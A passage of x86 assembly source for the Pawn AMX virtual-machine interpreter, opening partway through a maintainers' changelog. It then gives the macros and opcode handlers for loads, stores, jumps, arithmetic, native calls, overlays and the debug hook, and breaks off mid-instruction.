"cloned" AMX'es ; The semantics of _CHKSTACK and _CHKMARGIN were inverted; now corrected ; New opcodes ; * OP_CALLN (but commented out, due to problems with the JIT) ; * OP_NOP ;27 August 2001 by Dario Sacca (DS) ; Corrected FRM parameter in the debug hook for the OP_LINE opcode. ;25 January 2001 by Thiadmer Riemersma (TR) ; Implement the "sleep" functionality via the OP_HALT opcode; expand the ; AMX structure for new required fields. ;21 December 2000 by Thiadmer Riemersma (TR) ; Let the AMX abort if the debug hook function returns an error code ; on the DBG_LINE code. ;19 October 2000 by Thiadmer Riemersma (TR) ; Store return value of a function in the AMX structure when calling the ; debug hook ; 9 September 2000 by Thiadmer Riemersma (TR) ; Implemented new opcodes ; * OP_SWAP_PRI ; * OP_SWAP_ALT ; * OP_PUSHADDR ;15 July 2000 By Thiadmer Riemersma (TR) ; Store address of function being called in a debug parameter ; Address for OP_CALL_PRI needs to be relocated ;15 November 1999 By Thiadmer Riemersma (TR) ; Allow the parameter for the return value to be NULL. ;30 September 1999 By Thiadmer Riemersma (TR) ; Implemented _stdcall calling convention ; 1 August 1999 By Thiadmer Riemersma (TR) ; Implemented _cdecl calling convention ;15 June 1999 By Thiadmer Riemersma (TR) ; Implemented new opcodes ; * OP_SRANGE ; * OP_JUMP_PRI ; * OP_SWITCH ; * OP_CASETBL ; Referring to the "license of use" of this file (see above), please ; note that these modifications are NOT by Marc Peter. I have marked ; the locations of the changes with a comment line starting with "TR". ;28 March 1999 ; Here are some more bug fixes. I (Mark Peter) found these when ; "designing" the code sequences for the JIT compiler. The Pawn compiler ; doesn't seem to create these opcodes, or else the bugs would have ; turned up earlier. ; * LREF_S_ALT: garbled EAX and didn't work as expected ; * in LCTRL: In the case of 'lctrl 6' no. 5 would have entered an ; infinite loop because it jumped back to it's own compare instruction ; and not to #6. ; * in SCTRL: FRM was updated, but not EBX ;----- .386 ; can't use .586p since TASM doesn't recognize it .MODEL FLAT IFDEF @Version ; for Microsoft MASM 6.x OPTION OLDSTRUCTS OPTION M510 ENDIF INCLUDE amxdef.asm IFNDEF AMX_NO_PACKED_OPC IFNDEF AMX_TOKENTHREADING AMX_TOKENTHREADING EQU 1 ; packed opcodes require token threading ENDIF ENDIF ;#define PUSH(v) ( stk-=sizeof(cell), *(cell *)(data+(int)stk)=v ) _PUSH MACRO v mov [edi+ecx-4],v sub ecx,4 ENDM ;#define POP(v) ( v=*(cell *)(data+(int)stk), stk+=sizeof(cell) ) _POP MACRO v mov v,[edi+ecx] add ecx,4 ENDM NEXT MACRO IFDEF AMX_TOKENTHREADING mov ebp, [esi] IFNDEF AMX_NO_PACKED_OPC and ebp, 0ffh ENDIF jmp DWORD ptr [_amx_opcodelist + 4*ebp] ELSE IFNDEF AMX_NO_PACKED_OPC .err ; opcode packing requires token threading ENDIF ; direct threading jmp DWORD ptr [esi] ENDIF ; ALIGN 4 ENDM JUMPREL MACRO add esi,[esi+4] ENDM GETPARAM_P MACRO reg ; ??? verify that reg != esi mov reg,[esi] sar reg,16 ; shift-right, keeping the sign ENDM _CHKSTACK MACRO cmp ecx,stp jg err_stacklow ENDM _CHKMARGIN MACRO lea ebp,[ecx-16*4] ; savety margin = 16 cells cmp hea,ebp jg err_stack ENDM _CHKHEAP MACRO mov ebp,amx mov ebp,[ebp+_hlw] ; MASM 6.x needs [ebp+amx_s._hlw] cmp DWORD ptr hea,ebp jl err_heaplow ENDM _CHKDIVIDEZERO MACRO or ebp,ebp ; check for divide by zero jz err_divide ENDM _VERIFYADDRESS MACRO adr ; used in load.i, store.i & lidx local l1 cmp adr,stp ; error if adr >= stp jae err_memaccess cmp adr,hea ; so adr<stp, ok if adr<hea jb short l1 cmp adr,ecx ; so adr<stp and adr>=hea, ok if adr>=stk jb err_memaccess l1: ENDM IFDEF CDECL CDECL_STDCALL EQU 1 ENDIF IFDEF STDECL CDECL_STDCALL EQU 1 ENDIF _SAVEREGS MACRO ; save the registers (that may not be IFDEF CDECL_STDCALL ; preserved under the rules of __cdecl or PUSHAD ; __stdcall calling conventions) ENDIF ENDM _RESTOREREGS MACRO IFDEF CDECL_STDCALL POPAD ENDIF ENDM _DROPARGS MACRO n ; remove function arguments from the stack IFDEF CDECL ; (for __cdecl calling convention) add esp,n ENDIF ENDM .CODE ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ; ; ;cell asm_exec( AMX *amx, cell *retval, char *data ) ; ; eax edx ebx ; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; IFDEF STACKARGS PUBLIC _amx_exec_asm PUBLIC _amx_exec_asm@16 _amx_exec_asm@16 LABEL BYTE _amx_exec_asm PROC push ebx mov eax,[esp+08h] mov edx,[esp+0ch] mov ebx,[esp+10h] ELSE PUBLIC amx_exec_asm_ amx_exec_asm_ PROC ENDIF push edi push esi push ebp sub esp,4*3 ; place for PRI, ALT & STK at SYSREQs push DWORD ptr [eax+_codesize] ; store code size push DWORD ptr [eax+_codeseg] ; store pointer to code segment push eax ; store pointer to AMX push edx ; store address of retval push DWORD ptr [eax+_stp] ; store STP push DWORD ptr [eax+_hea] ; store HEA push DWORD ptr [eax+_frm] ; store FRM stk EQU [esp+36] ; define some aliases to registers alt EQU [esp+32] ; that are stored on the stack pri EQU [esp+28] codesiz EQU [esp+24] code EQU [esp+20] amx EQU [esp+16] retval EQU [esp+12] stp EQU [esp+8] hea EQU [esp+4] frm EQU [esp] ; FRM is NOT stored in ebp, rather FRM+DAT ; is being held in ebx. mov edx,code ; change the code size to an... add codesiz,edx ; ..."end of code" address mov edi,ebx ; get pointer to data segment mov edx,[eax+_alt] ; get ALT mov esi,[eax+_cip] ; get CIP mov ecx,[eax+_stk] ; get STK mov ebx,[eax+_frm] ; get FRM mov eax,[eax+_pri] ; get PRI add ebx,edi ; relocate frame add esi,code ; relocate code address NEXT ; start interpreting OP_LOAD_PRI: mov eax,[esi+4] add esi,8 mov eax,[edi+eax] NEXT OP_LOAD_ALT: mov edx,[esi+4] add esi,8 mov edx,[edi+edx] NEXT OP_LOAD_S_PRI: mov eax,[esi+4] add esi,8 mov eax,[ebx+eax] NEXT OP_LOAD_S_ALT: mov edx,[esi+4] add esi,8 mov edx,[ebx+edx] NEXT OP_LOAD_I: add esi,4 _VERIFYADDRESS eax mov eax,[edi+eax] NEXT OP_LODB_I: _VERIFYADDRESS eax mov ebp,[esi+4] mov eax,[edi+eax] ;subject to misalignment stalls add esi,8 and eax,DWORD ptr [(lodb_and-4)+ebp*4] NEXT OP_LREF_PRI: mov eax,[esi+4] add esi,8 mov eax,[edi+eax] mov eax,[edi+eax] NEXT OP_LREF_ALT: mov edx,[esi+4] add esi,8 mov edx,[edi+edx] mov edx,[edi+edx] NEXT OP_LREF_S_PRI: mov eax,[esi+4] add esi,8 mov eax,[ebx+eax] mov eax,[edi+eax] NEXT OP_LREF_S_ALT: mov edx,[esi+4] add esi,8 mov edx,[ebx+edx] mov edx,[edi+edx] NEXT OP_CONST_PRI: mov eax,[esi+4] add esi,8 NEXT OP_CONST_ALT: mov edx,[esi+4] add esi,8 NEXT OP_ADDR_PRI: mov eax,[esi+4] add esi,8 add eax,frm NEXT OP_ADDR_ALT: mov edx,[esi+4] add esi,8 add edx,frm NEXT OP_STOR_PRI: mov ebp,[esi+4] add esi,8 mov [ebp+edi],eax NEXT OP_STOR_ALT: mov ebp,[esi+4] add esi,8 mov [ebp+edi],edx NEXT OP_STOR_S_PRI: mov ebp,[esi+4] add esi,8 mov [ebp+ebx],eax NEXT OP_STOR_S_ALT: mov ebp,[esi+4] add esi,8 mov [ebp+ebx],edx NEXT OP_STOR_I: add esi,4 _VERIFYADDRESS edx mov [edi+edx],eax NEXT OP_STRB_I: mov ebp,[esi+4] add esi,8 strb_entry: _VERIFYADDRESS edx cmp ebp,1 jne short strb_not1byte mov [edi+edx],al NEXT strb_not1byte: cmp ebp,4 je short strb_4byte mov [edi+edx],ax NEXT strb_4byte: mov [edi+edx],eax NEXT OP_SREF_PRI: mov ebp,[esi+4] add esi,8 mov ebp,[edi+ebp] mov [edi+ebp],eax NEXT OP_SREF_ALT: mov ebp,[esi+4] add esi,8 mov ebp,[edi+ebp] mov [edi+ebp],edx NEXT OP_SREF_S_PRI: mov ebp,[esi+4] add esi,8 mov ebp,[ebx+ebp] mov [edi+ebp],eax NEXT OP_SREF_S_ALT: mov ebp,[esi+4] add esi,8 mov ebp,[ebx+ebp] mov [edi+ebp],edx NEXT OP_LIDX: lea eax,[edx+4*eax] add esi,4 _VERIFYADDRESS eax mov eax,[edi+eax] NEXT OP_LIDX_B: push ecx mov ecx,[esi+4] add esi,8 shl eax,cl pop ecx add eax,edx _VERIFYADDRESS eax mov eax,[edi+eax] NEXT OP_IDXADDR: add esi,4 lea eax,[edx+4*eax] NEXT OP_IDXADDR_B: push ecx mov ecx,[esi+4] add esi,8 shl eax,cl pop ecx add eax,edx NEXT OP_ALIGN_PRI: mov ebp,4 sub ebp,[esi+4] add esi,8 xor eax,ebp NEXT OP_ALIGN_ALT: mov ebp,4 sub ebp,[esi+4] add esi,8 xor edx,ebp NEXT OP_LCTRL: mov ebp,[esi+4] add esi,8 cmp ebp,0 jne short lctrl_1 mov eax,code ; COD NEXT lctrl_1: cmp ebp,1 jne short lctrl_2 mov eax,edi ; DAT NEXT lctrl_2: cmp ebp,2 jne short lctrl_3 mov eax,hea ; 2=HEA NEXT lctrl_3: cmp ebp,3 jne short lctrl_4 mov ebp,amx mov eax,stp NEXT lctrl_4: cmp ebp,4 jne short lctrl_5 mov eax,ecx ; 4=STK NEXT lctrl_5: cmp ebp,5 jne short lctrl_6 mov eax,frm ; 5=FRM NEXT lctrl_6: mov eax,esi ; 6=CIP sub eax,code NEXT OP_SCTRL: mov ebp,[esi+4] add esi,8 cmp ebp,2 jne short sctrl_4 mov hea,eax ; 2=HEA NEXT sctrl_4: cmp ebp,4 jne short sctrl_5 mov ecx,eax ; 4=STK NEXT sctrl_5: cmp ebp,5 jne short sctrl_6 mov ebx,eax ; 5=FRM mov frm,eax add ebx,edi ; relocate FRM sctrl_6: NEXT OP_MOVE_PRI: add esi,4 mov eax,edx NEXT OP_MOVE_ALT: add esi,4 mov edx,eax NEXT OP_XCHG: add esi,4 xchg eax,edx NEXT OP_PUSH_PRI: add esi,4 _PUSH eax NEXT OP_PUSH_ALT: add esi,4 _PUSH edx NEXT OP_PICK: mov eax,[esi+4] add esi,8 add eax,ecx mov eax,[edi+eax] NEXT OP_PUSH_C: mov ebp,[esi+4] add esi,8 _PUSH ebp NEXT OP_PUSH: mov ebp,[esi+4] add esi,8 mov ebp,[ebp+edi] _PUSH ebp NEXT OP_PUSH_S: mov ebp,[esi+4] add esi,8 mov ebp,[ebp+ebx] _PUSH ebp NEXT OP_POP_PRI: add esi,4 _POP eax NEXT OP_POP_ALT: add esi,4 _POP edx NEXT OP_STACK: mov edx,ecx add ecx,[esi+4] _CHKMARGIN _CHKSTACK add esi,8 NEXT OP_HEAP: mov ebp,[esi+4] mov edx,hea add esi,8 add hea,ebp _CHKMARGIN _CHKHEAP NEXT OP_PROC: mov ebx,frm add esi,4 _PUSH ebx mov ebx,edi mov frm,ecx add ebx,ecx _CHKMARGIN NEXT OP_RET: _POP ebx _POP esi cmp esi,code ; verify ESI>=code jb err_memaccess cmp esi,codesiz ; verify ESI<codesiz ("end-of-code" pointer) jae err_memaccess mov frm,ebx add ebx,edi NEXT OP_RETN: _POP ebx _POP esi cmp esi,code ; verify ESI>=code jb err_memaccess cmp esi,codesiz ; verify ESI<codesiz ("end-of-code" pointer) jae err_memaccess mov frm,ebx add ebx,edi mov ebp,[edi+ecx] lea ecx,[ecx+ebp+4] NEXT OP_CALL: lea ebp,[esi+8] JUMPREL ; add esi,[esi+4] _PUSH ebp NEXT OP_ICALL: mov alt,edx ; save ALT lea edx,[esi+8] ; EDX=address of next instruction sub edx,code ; EDX=relative address (to start of code segment) mov ebp,amx shl edx,16 or edx,[ebp+_ovl_index] ; EDX=(relative address << 16) | ovl_index _PUSH edx mov edx,[esi+4] ; EDX=ovl_index mov [ebp+_ovl_index],edx mov eax,ebp ; 1st parm: amx IFDEF CDECL_STDCALL _SAVEREGS push edx ; EDX (2nd parm)=overlay index push eax ENDIF call [ebp+_overlay] ; call overlay function _DROPARGS 8 ; remove arguments from stack _RESTOREREGS mov edx,alt ; restore ALT mov esi,[ebp+_codeseg] ; get new code base mov code,esi ; save new code base in local variable NEXT OP_IRETN: mov pri,eax ; save PRI mov alt,edx ; save ALT _POP ebx ; restore FRM _POP esi ; restore code offset + overlay index mov frm,ebx add ebx,edi mov edx,esi mov ebp,amx and edx,0ffffh ; EDX=overlay index (popped from stack) mov [ebp+_ovl_index],edx ; store overlay index returning to shr esi,16 ; ESI=offset into overlay mov eax,[edi+ecx] ; EAX=dataseg[stk] lea ecx,[ecx+eax+4] ; STK=STK+dataseg[stk]+4 mov eax,ebp ; 1st parm: amx IFDEF CDECL_STDCALL _SAVEREGS push edx ; EDX (2nd parm)=overlay index push eax ENDIF call [ebp+_overlay] ; call overlay function _DROPARGS 8 ; remove arguments from stack _RESTOREREGS mov eax,[ebp+_codeseg] ; get new code base mov code,eax ; save new code base in local variable add esi,eax ; ESI=code base + offset mov eax,PRI ; restore PRI mov edx,alt ; restore ALT NEXT OP_JUMP: OP_JREL: ; JREL is now obsolete JUMPREL ; add esi,[esi+4] NEXT OP_JZER: or eax,eax jz short jump_taken add esi,8 NEXT jump_taken: JUMPREL ; add esi,[esi+4] NEXT OP_JNZ: or eax,eax jnz short jump_taken add esi,8 NEXT OP_JEQ: cmp eax,edx je short jump_taken add esi,8 NEXT OP_JNEQ: cmp eax,edx jne short jump_taken add esi,8 NEXT OP_JLESS: cmp eax,edx jb short jump_taken add esi,8 NEXT OP_JLEQ: cmp eax,edx jbe short jump_taken add esi,8 NEXT OP_JGRTR: cmp eax,edx ja jump_taken add esi,8 NEXT OP_JGEQ: cmp eax,edx jae jump_taken add esi,8 NEXT OP_JSLESS: cmp eax,edx jl jump_taken add esi,8 NEXT OP_JSLEQ: cmp eax,edx jle jump_taken add esi,8 NEXT OP_JSGRTR: cmp eax,edx jg jump_taken add esi,8 NEXT OP_JSGEQ: cmp eax,edx jge jump_taken add esi,8 NEXT OP_SHL: push ecx mov ecx,edx add esi,4 shl eax,cl pop ecx NEXT OP_SHR: push ecx mov ecx,edx add esi,4 shr eax,cl pop ecx NEXT OP_SSHR: push ecx mov ecx,edx add esi,4 sar eax,cl pop ecx NEXT OP_SHL_C_PRI: push ecx mov ecx,[esi+4] add esi,8 shl eax,cl pop ecx NEXT OP_SHL_C_ALT: push ecx mov ecx,[esi+4] add esi,8 shl edx,cl pop ecx NEXT OP_SHR_C_PRI: push ecx mov ecx,[esi+4] add esi,8 shr eax,cl pop ecx NEXT OP_SHR_C_ALT: push ecx mov ecx,[esi+4] add esi,8 shr edx,cl pop ecx NEXT OP_SMUL: add esi,4 push edx imul edx pop edx NEXT OP_SDIV_ALT: xchg eax,edx ALIGN 4 OP_SDIV: mov ebp,edx xor edx,eax ; Check signs of the operands. cdq js short sdiv_fiddle ; If the signs of the operands are different ; we'll have to fiddle around to achieve ; proper rounding towards minus infinity. _CHKDIVIDEZERO add esi,4 ; default behavior is right in the other cases idiv ebp NEXT sdiv_fiddle: _CHKDIVIDEZERO idiv ebp add esi,4 or edx,edx jz short sdiv_goon ; If there's no remainder the result is correct add edx,ebp ; else fix the result values. dec eax ; Amazing, how simple this is... sdiv_goon: NEXT OP_UMUL: add esi,4 push edx mul edx pop edx NEXT OP_UDIV: mov ebp,edx sub edx,edx _CHKDIVIDEZERO add esi,4 div ebp NEXT OP_UDIV_ALT: mov ebp,eax mov eax,edx sub edx,edx _CHKDIVIDEZERO add esi,4 div ebp NEXT OP_ADD: add esi,4 add eax,edx NEXT OP_SUB: add esi,4 sub eax,edx NEXT OP_SUB_ALT: neg eax add esi,4 add eax,edx NEXT OP_AND: add esi,4 and eax,edx NEXT OP_OR: add esi,4 or eax,edx NEXT OP_XOR: add esi,4 xor eax,edx NEXT OP_NOT: add esi,4 neg eax ; sets CF iff EAX != 0 sbb eax,eax ; EAX == -1 iff CF set (zero otherwise) inc eax ; -1 => 0 and 0 => 1 NEXT OP_NEG: add esi,4 neg eax NEXT OP_INVERT: add esi,4 not eax NEXT OP_ADD_C: add eax,[esi+4] add esi,8 NEXT OP_SMUL_C: mov ebp,[esi+4] push edx imul ebp pop edx add esi,8 NEXT OP_ZERO_PRI: add esi,4 sub eax,eax NEXT OP_ZERO_ALT: add esi,4 sub edx,edx NEXT OP_ZERO: mov ebp,[esi+4] add esi,8 mov DWORD ptr [edi+ebp],0 NEXT OP_ZERO_S: mov ebp,[esi+4] add esi,8 mov DWORD ptr [ebx+ebp],0 NEXT OP_SIGN_PRI: shl eax,24 add esi,4 sar eax,24 NEXT OP_SIGN_ALT: shl edx,24 add esi,4 sar edx,24 NEXT OP_EQ: add esi,4 cmp eax,edx ; PRI == ALT ? mov eax,0 sete al NEXT OP_NEQ: add esi,4 cmp eax,edx ; PRI != ALT ? mov eax,0 setne al NEXT OP_LESS: add esi,4 cmp eax,edx ; PRI < ALT ? (unsigned) mov eax,0 setb al NEXT OP_LEQ: add esi,4 cmp eax,edx ; PRI <= ALT ? (unsigned) mov eax,0 setbe al NEXT OP_GRTR: add esi,4 cmp eax,edx ; PRI > ALT ? (unsigned) mov eax,0 seta al NEXT OP_GEQ: add esi,4 cmp eax,edx ; PRI >= ALT ? (unsigned) mov eax,0 setae al NEXT OP_SLESS: add esi,4 cmp eax,edx ; PRI < ALT ? (signed) mov eax,0 setl al NEXT OP_SLEQ: add esi,4 cmp eax,edx ; PRI <= ALT ? (signed) mov eax,0 setle al NEXT OP_SGRTR: add esi,4 cmp eax,edx ; PRI > ALT ? (signed) mov eax,0 setg al NEXT OP_SGEQ: add esi,4 cmp eax,edx ; PRI >= ALT ? (signed) mov eax,0 setge al NEXT OP_EQ_C_PRI: cmp eax,[esi+4] ; PRI == value ? lea esi,[esi+8] mov eax,0 sete al NEXT OP_EQ_C_ALT: xor eax,eax cmp edx,[esi+4] ; ALT == value ? lea esi,[esi+8] sete al NEXT OP_INC_PRI: add esi,4 inc eax NEXT OP_INC_ALT: add esi,4 inc edx NEXT OP_INC: mov ebp,[esi+4] add esi,8 inc DWORD ptr [edi+ebp] NEXT OP_INC_S: mov ebp,[esi+4] add esi,8 inc DWORD ptr [ebx+ebp] NEXT OP_INC_I: add esi,4 inc DWORD ptr [edi+eax] NEXT OP_DEC_PRI: add esi,4 dec eax NEXT OP_DEC_ALT: add esi,4 dec edx NEXT OP_DEC: mov ebp,[esi+4] add esi,8 dec DWORD ptr [edi+ebp] NEXT OP_DEC_S: mov ebp,[esi+4] add esi,8 dec DWORD ptr [ebx+ebp] NEXT OP_DEC_I: add esi,4 sub DWORD ptr [edi+eax],1 NEXT OP_MOVS: _VERIFYADDRESS eax ; PRI _VERIFYADDRESS edx ; ALT mov ebp,eax add ebp,[esi+4] dec ebp _VERIFYADDRESS ebp ; PRI + size - 1 sub ebp,eax ; EBP = size - 1 add ebp,edx _VERIFYADDRESS ebp ; ALT + size - 1 push ecx mov ecx,[esi+4] add esi,8 movs_entry: push edi push esi lea esi,[edi+eax] lea edi,[edi+edx] push ecx shr ecx,2 rep movsd pop ecx and ecx,3 rep movsb pop esi pop edi pop ecx NEXT OP_CMPS: _VERIFYADDRESS eax ; PRI _VERIFYADDRESS edx ; ALT mov ebp,eax add ebp,[esi+4] ; size in bytes dec ebp ; EBP = PRI + size - 1 _VERIFYADDRESS ebp ; PRI + size - 1 sub ebp,eax ; EBP = size - 1 add ebp,edx ; EBP = ALT + size - 1 _VERIFYADDRESS ebp ; ALT + size - 1 push ecx mov ecx,[esi+4] add esi,8 cmps_entry: push edi push esi lea esi,[edi+edx] lea edi,[edi+eax] xor eax,eax repe cmpsb je short cmps1 sbb eax,eax sbb eax,0ffffffffh cmps1: pop esi pop edi pop ecx NEXT OP_FILL: mov ebp,[esi+4] ; get byte count add esi,8 fill_entry: and ebp,0fffffffch ; align to words jz short fill_ready _VERIFYADDRESS edx ; ALT dec ebp ; EBP = size - 1 add ebp,edx ; EBP = ALT + size - 1 _VERIFYADDRESS ebp ; ALT + size - 1 sub ebp,edx ; restore EBP inc ebp push ecx push edi mov ecx,ebp ; ECX = count (in bytes) lea edi,[edi+edx] ; EDI = physical starting address shr ecx,2 ; ECX = count (in DWORDS) rep stosd pop edi pop ecx fill_ready: NEXT OP_HALT: cmp DWORD ptr retval,0 je short halt_no_retval mov ebp,retval mov [ebp],eax halt_no_retval: ; store the complete status in the AMX mov ebp,amx ; get amx into ebp mov [ebp+_pri],eax ; store values in AMX structure (PRI, ALT, STK, HEA, FRM, ...) mov [ebp+_alt],edx mov [ebp+_stk],ecx mov ecx,hea mov ebx,frm mov [ebp+_hea],ecx mov [ebp+_frm],ebx ; EBX & ECX are invalid by now mov ebx,[esi+4] ; EBX=parameter of the HALT opcode add esi,8 ; skip this instruction mov eax,esi ; EAX=CIP sub eax,code mov [ebp+_cip],eax mov eax,ebx ; return the parameter of the HALT opcode jmp _return OP_BOUNDS: mov ebp,[esi+4] add esi,8 cmp eax,ebp ja err_bounds ; use unsigned comparison, so <0 is >bounds NEXT OP_SYSREQ_C: mov eax,[esi+4] ; get function number add esi,4 OP_SYSREQ_PRI: mov ebp,amx ; get amx into ebp add esi,4 mov stk,ecx ; save STK mov alt,edx ; save ALT mov [ebp+_stk],ecx ; store values in AMX structure (STK, HEA, FRM) mov ecx,hea mov ebx,frm mov [ebp+_hea],ecx mov [ebp+_frm],ebx ; ebx & ecx are invalid by now mov ebx,esi ; also store CIP sub ebx,code mov [ebp+_cip],ebx mov edx,eax ; 2nd param: function number mov eax,ebp ; 1st param: amx mov ecx,stk lea ebx,pri ; 3rd param: addr. of retval add ecx,edi ; 4th param: addr. of function parameters IFDEF CDECL_STDCALL ; save a few registers (it is not necessary to save them all ; and EAX should *not* be saved because it will hold the return ; value) push ebp push esi push edi ; push the parameters push ecx push ebx push edx push eax ENDIF call [ebp+_callback] _DROPARGS 10h ; remove arguments from stack IFDEF CDECL_STDCALL pop edi ; restore saved registers pop esi pop ebp ENDIF cmp eax,AMX_ERR_NONE jne _return ; return error code, if any mov eax,pri ; get retval into eax (PRI) mov edx,alt ; restore ALT mov ebx,frm mov ecx,stk ; restore STK add ebx,edi ; restore FRM NEXT OP_SYSREQ_N: mov ebp,[esi+8] ; get # of bytes passed as parameters mov eax,[esi+4] ; get function number _PUSH ebp ; push 2nd parameter add esi,12 mov ebp,amx ; get amx into ebp mov stk,ecx ; save STK mov alt,edx ; save ALT mov [ebp+_stk],ecx ; store values in AMX structure (STK, HEA, FRM) mov ecx,hea mov ebx,frm mov [ebp+_hea],ecx mov [ebp+_frm],ebx ; ebx & ecx are invalid by now mov ebx,esi ; also store CIP sub ebx,code mov [ebp+_cip],ebx mov edx,eax ; 2nd param: function number mov eax,ebp ; 1st param: amx mov ecx,stk lea ebx,pri ; 3rd param: addr. of retval add ecx,edi ; 4th param: addr. of function parameters IFDEF CDECL_STDCALL ; save a few registers (it is not necessary to save them all ; and EAX should *not* be saved because it will hold the return ; value) push ebp push esi push edi ; push the parameters push ecx push ebx push edx push eax ENDIF call [ebp+_callback] _DROPARGS 10h ; remove arguments from stack IFDEF CDECL_STDCALL pop edi ; restore saved registers pop esi pop ebp ENDIF mov edx,alt ; restore ALT mov ebx,frm mov ecx,stk ; restore STK add ebx,edi ; restore FRM add ecx,[esi-4] ; remove "number of parameter bytes" from the stack add ecx,4 ; also remove the extra DWORD pushed cmp eax,AMX_ERR_NONE jne _return ; return error code, if any mov eax,pri ; get retval into eax (PRI) NEXT OP_FILE: OP_LINE: OP_SYMBOL: OP_SRANGE: OP_SYMTAG: OP_CALL_PRI: OP_JUMP_PRI: OP_SYSREQ_D: OP_SYSREQ_ND: jmp OP_INVALID OP_SWITCH: push ecx mov ebp,esi ; EBP = CIP add ebp,[esi+4] ; EBP = offset of the casetable add ebp,4 ; skip the "OP_CASETBL" opcode mov ecx,[ebp] ; ECX = number of records mov esi,ebp ; ESI = address of first record add esi,[ebp+4] ; preset ESI to "none-matched" case op_switch_loop: or ecx, ecx ; number of records == 0? jz short op_switch_end ; yes, no more records, exit loop add ebp,8 ; skip previous record dec ecx ; already decrement cases to do cmp eax,[ebp] ; PRI == case label? jne short op_switch_loop ; no, continue loop mov esi,ebp ; yes, get jump address and exit loop add esi,[ebp+4] op_switch_end: pop ecx NEXT OP_ISWITCH: push ecx mov ebp,esi ; EBP = CIP add ebp,[esi+4] ; EBP = offset of the icasetable add ebp,4 ; skip the "OP_ICASETBL" opcode mov ecx,[ebp] ; ECX = number of records mov edx,[ebp+4] ; preset EDX to "none-matched" case op_iswitch_loop: or ecx, ecx ; number of records == 0? jz short op_iswitch_end ; yes, no more records, exit loop add ebp,8 ; skip previous record dec ecx ; already decrement cases to do cmp eax,[ebp] ; PRI == icase label? jne short op_iswitch_loop ; no, continue loop mov edx,[ebp+4] ; yes, get jump address and exit loop op_iswitch_end: pop ecx ;load overlay mov eax,amx mov [eax+_ovl_index],edx IFDEF CDECL_STDCALL _SAVEREGS push edx ; EDX (2nd parm)=overlay index push eax ; EAX (1st parm)=amx structure ENDIF call [eax+_overlay] ; call overlay function _DROPARGS 8 ; remove arguments from stack _RESTOREREGS mov esi,[eax+_codeseg] ; get new code base mov code,esi ; save new code base in local variable NEXT OP_CASETBL: OP_ICASETBL: jmp OP_INVALID OP_SWAP_PRI: mov ebp,[edi+ecx] add esi,4 mov [edi+ecx],eax mov eax,ebp NEXT OP_SWAP_ALT: mov ebp,[edi+ecx] add esi,4 mov [edi+ecx],edx mov edx,ebp NEXT OP_PUSH_ADR: mov ebp,[esi+4] add esi,8 add ebp,frm _PUSH ebp NEXT OP_NOP: add esi,4 NEXT OP_BREAK: mov ebp,amx ; get amx into ebp add esi,4 cmp DWORD ptr [ebp+_debug], 0 jnz break_calldebug NEXT ; debug hook not active, ignore break_calldebug: ; store the status in the AMX (FRM, STK, HEA, CIP, and PRI + ALT) mov [ebp+_pri],eax mov [ebp+_alt],edx ; EAX and EDX are now free to use mov eax,frm mov edx,hea mov [ebp+_frm],eax ; store values in AMX structure (STK, FRM & HEA) mov [ebp+_hea],edx mov [ebp+_stk],ecx mov eax,esi sub eax,code ; EAX = CIP (relative to start of code segment) mov [ebp+_cip],eax ; call the debug hook mov eax,ebp ; 1st parm: amx IFDEF CDECL_STDCALL _SAVEREGS push eax ENDIF call [ebp+_debug] ; call debug function _DROPARGS 4 ; remove arguments from stack cmp eax,AMX_ERR_NONE je short break_noabort; continue running mov [ebp+_error],eax ; save EAX (error code) before restoring all regs _RESTOREREGS ; abort run, but restore stack first mov eax,[ebp+_error] ; get error code in EAX back again jmp _return ; return error code break_noabort: _RESTOREREGS mov eax,[ebp+_pri] ; restore PRI and ALT mov edx,[ebp+_alt] NEXT OP_PUSH2_C: add esi,12 mov ebp,[esi-8] _PUSH ebp mov ebp,[esi-4] _PUSH ebp NEXT OP_PUSH2: add esi,12 mov ebp,[esi-8] mov ebp,[ebp+edi] _PUSH ebp mov ebp,[esi-4] mov ebp,[ebp+edi] _PUSH ebp NEXT OP_PUSH2_S: add esi,12 mov ebp,[esi-8] mov ebp,[ebp+ebx] _PUSH ebp mov ebp,[esi-4] mov ebp,[ebp+ebx] _PUSH ebp NEXT OP_PUSH2_ADR: add esi,12 mov ebp,[esi-8] add ebp,frm _PUSH ebp mov ebp,[esi-4] add ebp,frm _PUSH ebp NEXT OP_PUSH3_C: add esi,16 mov ebp,[esi-12] _PUSH ebp mov ebp,[esi-8] _PUSH ebp mov ebp,[esi-4] _PUSH ebp NEXT OP_PUSH3: add esi,16 mov ebp,[esi-12] mov ebp,[ebp+edi] _PUSH ebp mov ebp,[esi-8] mov ebp,[ebp+edi] _PUSH ebp mov ebp,[esi-4] mov ebp,[ebp+edi] _PUSH ebp NEXT OP_PUSH3_S: add esi,16 mov ebp,[esi-12] mov ebp,[ebp+ebx] _PUSH ebp mov ebp,[esi-8] mov ebp,[ebp+ebx] _PUSH ebp mov ebp,[esi-4] mov ebp,[ebp+ebx] _PUSH ebp NEXT OP_PUSH3_ADR: add esi,16 mov ebp,[esi-12] add ebp,frm _PUSH ebp mov ebp,[esi-8] add ebp,frm _PUSH ebp mov ebp,[esi-4] add ebp,frm _PUSH ebp NEXT OP_PUSH4_C: add esi,20 mov ebp,[esi-16] _PUSH ebp mov ebp,[esi-12] _PUSH ebp mov ebp,[esi-8] _PUSH ebp mov ebp,[esi-4] _PUSH ebp NEXT OP_PUSH4: add esi,20 mov ebp,[esi-16] mov ebp,[ebp+edi] _PUSH ebp mov ebp,[esi-12] mov ebp,[ebp+edi] _PUSH ebp mov ebp,[esi-8] mov ebp,[ebp+edi] _PUSH ebp mov ebp,[esi-4] mov ebp,[ebp+edi] _PUSH ebp NEXT OP_PUSH4_S: add esi,20 mov ebp,[esi-16] mov ebp,[ebp+ebx] _PUSH ebp mov ebp,[esi-12] mov ebp,[ebp+ebx] _PUSH ebp mov ebp,[esi-8] mov ebp,[ebp+ebx] _PUSH ebp mov ebp,[esi-4] mov ebp,[ebp+ebx] _PUSH ebp NEXT OP_PUSH4_ADR: add esi,20 mov ebp,[esi-16] add ebp,frm _PUSH ebp mov ebp,[esi-12] add ebp,frm _PUSH ebp mov ebp,[esi-8] add ebp,frm _PUSH ebp mov ebp,[esi-4] add ebp,frm _PUSH ebp NEXT OP_PUSH5_C: add esi,24 mov ebp,[esi-20] _PUSH ebp mov 